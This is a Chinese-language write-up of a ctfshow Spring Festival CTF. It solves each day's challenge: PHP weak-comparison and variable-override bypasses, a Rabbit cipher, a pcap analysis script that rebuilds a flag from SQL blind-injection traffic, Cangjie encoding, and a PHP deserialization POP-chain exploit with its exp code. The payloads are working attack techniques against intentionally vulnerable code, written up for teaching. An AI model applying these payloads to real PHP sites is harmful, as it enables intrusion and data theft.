文章目录
- 除夕
- 初一
- 初二
- 初三
- 初四
- 初五
- 初六
- 官方wp
除夕
include "flag.php";
$year = $_GET['year'];
if($year==2022 && $year+1!==2023){
echo $flag;
}else{
highlight_file(__FILE__);
}
弱比较和强比较的问题 2023那里是强比较,还是很容易的
/?year=2022.0
科学计数法也可
初一
2023是兔年,密码也是。聪明的小伙伴们,你能破解出下面的密码吗?
密文是:
U2FsdGVkX1+M7duRffUvQgJlESPf+OTV2i4TJpc9YybgZ9ONmPk/RJje
2023是兔年很对应rabbit加密,密钥正是2023
初二
老g师傅最近发现了一个有趣的ctf工具,你能找出flag吗?
py文件呢是一个工具
flag.ws是一个附件,可能就是这个工具来跑一下这个附件
其实还是跑一下这个py文件 拿到flag
初三
<?php
extract($_GET);
include "flag.php";
highlight_file(__FILE__);
$_=function($__,$___){
return $__==$___?$___:$__;
};
$$__($_($_GET{
$___
}[$____]{
$_____
}(),$flag));
extract($_GET)
存在变量覆盖
不过下划线混淆代码看着属实难受
$_=function($__,$___){
return $__==$___?$___:$__;
};
这个函数$_()
通过三目运算符比较传入的两个参数,返回一个值
$_($_GET{
$___
}[$____]{
$_____
}(),$flag)
$_()
函数 传入的第一个参数是$_GET{$___}[$____]{$_____}()
第二个参数是$flag
这两个参数相等即可 return
f
l
a
g
,是不回显的
,
所以前面还有
‘
flag,是不回显的,所以前面还有`
flag,是不回显的,所以前面还有‘$__() 可以构造
var_dump()`
配合extract变量覆盖就是 /?__=a&a=var_dump
现在如何让$_GET{$___}[$____]{$_____}()
弱等于$flag呢?
还有个(),所以是个无参函数, 有个trick是 phpinfo()=='任意字符串'
<?php
var_dump(phpinfo() == 'abc');
//bool(true)
0也弱等于字符串, 0 == ‘字符串’
json_last_error() 函数是 int(0)
所以这里构造phpinfo
和json_last_error
都行
($_GET{$___}[$____]{$_____}等价于$_GET[$___][$____][$_____]
相当于一个三维数组
构造/?___=x&____=b&_____=c&x[b][c]=phpinfo&就相当于构造传入了phpinfo
payload:
/?__=a&a=var_dump&___=x&____=b&_____=c&x[b][c]=phpinfo
初四
在某次赛博hvv过程中,发现了异常流量
你能分析得到flag吗?
sql盲注的流量
拿师傅的脚本
import pyshark, re
from z3 import Ints, Solver, sat
from urllib.parse import unquote
t1 = pyshark.FileCapture(r'misc.pcapng', display_filter='http')
cacheCharControl = {}
searchChar = re.compile("1' and (ascii|ord)\(substr\(\(\(select concat_ws\(char\([0-9]+\), hackerHasNoFlag\) from flagInHere limit 0,1\)\), [0-9]+, 1\)\)<[0-9]+;--", re.RegexFlag.IGNORECASE)
for first in t1:
if hasattr(first, 'http'):
if hasattr(first.http, 'response_for_uri'):
requestURI = unquote(str(first.http.response_for_uri))
if searchChar.search(requestURI) is not None:
locationID = int(requestURI.split('limit 0,1)), ')[1].split(',')[0]) - 1
biggerNum = int(requestURI.split(', 1))<')[1].split(';--')[0])
if locationID not in cacheCharControl:
cacheCharControl[locationID] = []
if 'Hacker' in str(first.http.file_data):
cacheCharControl[locationID].append((biggerNum, False))
else:
cacheCharControl[locationID].append((biggerNum, True))
t1.close()
x = Ints('x')[0]
flag = Solver()
for startID in range(len(cacheCharControl)):
flag.push()
for unit in cacheCharControl[startID]:
if unit[1]:
flag.add(x < unit[0])
else:
flag.add(x >= unit[0])
if flag.check() == sat:
print(chr(int(str(flag.model()[x]))), end='')
flag.pop()
然后维吉尼亚解密一下
初五
神秘人送来了半个世纪前的无线电信号,但是只能分别出以下的密文:
YDHML_QKA_PDK_HVD_NAHI_OQ_K_GR
据说上面的无线电信号代表的是中文,由红岸基地发往半人马星系
半个世纪过去了,你能破解它的涵义吗?
还是积累吧,搜了很久电波外星人啥的
中文对应 仓颉编码
ctfshow{新春快乐兔年大吉}
初六
<?php
include "flag.php";
class happy2year{
private $secret;
private $key;
function __wakeup(){
$this->secret="";
}
function __call($method,$argv){
return call_user_func($this->key, array($method,$argv));
}
function getSecret($key){
$key=$key?$key:$this->key;
return $this->createSecret($key);
}
function createSecret($key){
return base64_encode($this->key.$this->secret);
}
function __get($arg){
global $flag;
$arg="get".$arg;
$this->$arg = $flag;
return $this->secret;
}
function __set($arg,$argv){
$this->secret=base64_encode($arg.$argv);
}
function __invoke(){
return $this->$secret;
}
function __toString(){
return base64_encode($this->secret().$this->secret);
}
function __destruct(){
$this->secret = "";
}
}
highlight_file(__FILE__);
error_reporting(0);
$data=$_POST['data'];
$key = $_POST['key'];
$obj = unserialize($data);
if($obj){
$secret = $obj->getSecret($key);
print("你提交的key是".$key."\n生成的secret是".$secret);
}
可以看到就一个happy2year类,与构造pop链时很多类不同,这题挺有意思
类外的逻辑,就是成功反序列化后打印 k e y 和 key和 key和secret。
$secret = $obj->getSecret($key);
反序列化后先调用了getSecret($key)
然后调用createSecret($key)
然后字符拼接调用 __toString()
里面调用不存在的函数secret()所以调用了__call($method,$argv)
,call里面可以控制$this->key
回调函数,调用了
__invoke()
,里面的return $this->$secret;
调用了私有变量,所以进入 __get($arg)
链子大致如此可以走通。
function __get($arg){
global $flag;
$arg="get".$arg;
$this->$arg = $flag;
return $this->secret;
}
function __set($arg,$argv){
$this->secret=base64_encode($arg.$argv);
}
__get($arg)
里的参数$arg
就是__invoke()
中调用的私有属性名secret
然后通过 $arg="get".$arg;
使得现在$arg=‘getsecret’
然后$this->$arg = $flag;
触发了__set()
https://www.php.cn/php-weizijiaocheng-426360.html 了解一下__set()
方法以及其参数的作用
__set( $property, $value )
来设置私有属性,给一个未定义的属性赋值时,触发__set(),传递的参数是被设置的属性名和值.所以, $this->$arg = $flag;
触发了__set()
这里不太好理解,所以本地搞了个demo去debug了一下
进入__set($arg,$argv)
,
a
r
g
是
g
e
t
s
e
c
r
e
t
,
arg是getsecret ,
arg是getsecret,argv是$flag的内容
(不过不知道为啥最后拿到flag显示前面的$arg仅是get)
拼接后base64然后赋值给了$this->sercet
所以只需要让逻辑走通,打印出$sercet即可拿到flag
经过上面所述,其实我们唯一控制的点就是__call()
里面的$this->key,为happy2year类
exp:
<?php
class happy2year{
private $secret;
private $key;
function __construct(){
$this->key=$this;
}
}
$s = new happy2year();
echo urlencode(serialize($s));
虽然exp比较简单,但是里面的逻辑挺值得学习的
官方wp
https://ctf-show.feishu.cn/docx/O5nUduzAMobhEtxeuZpcS78AnOb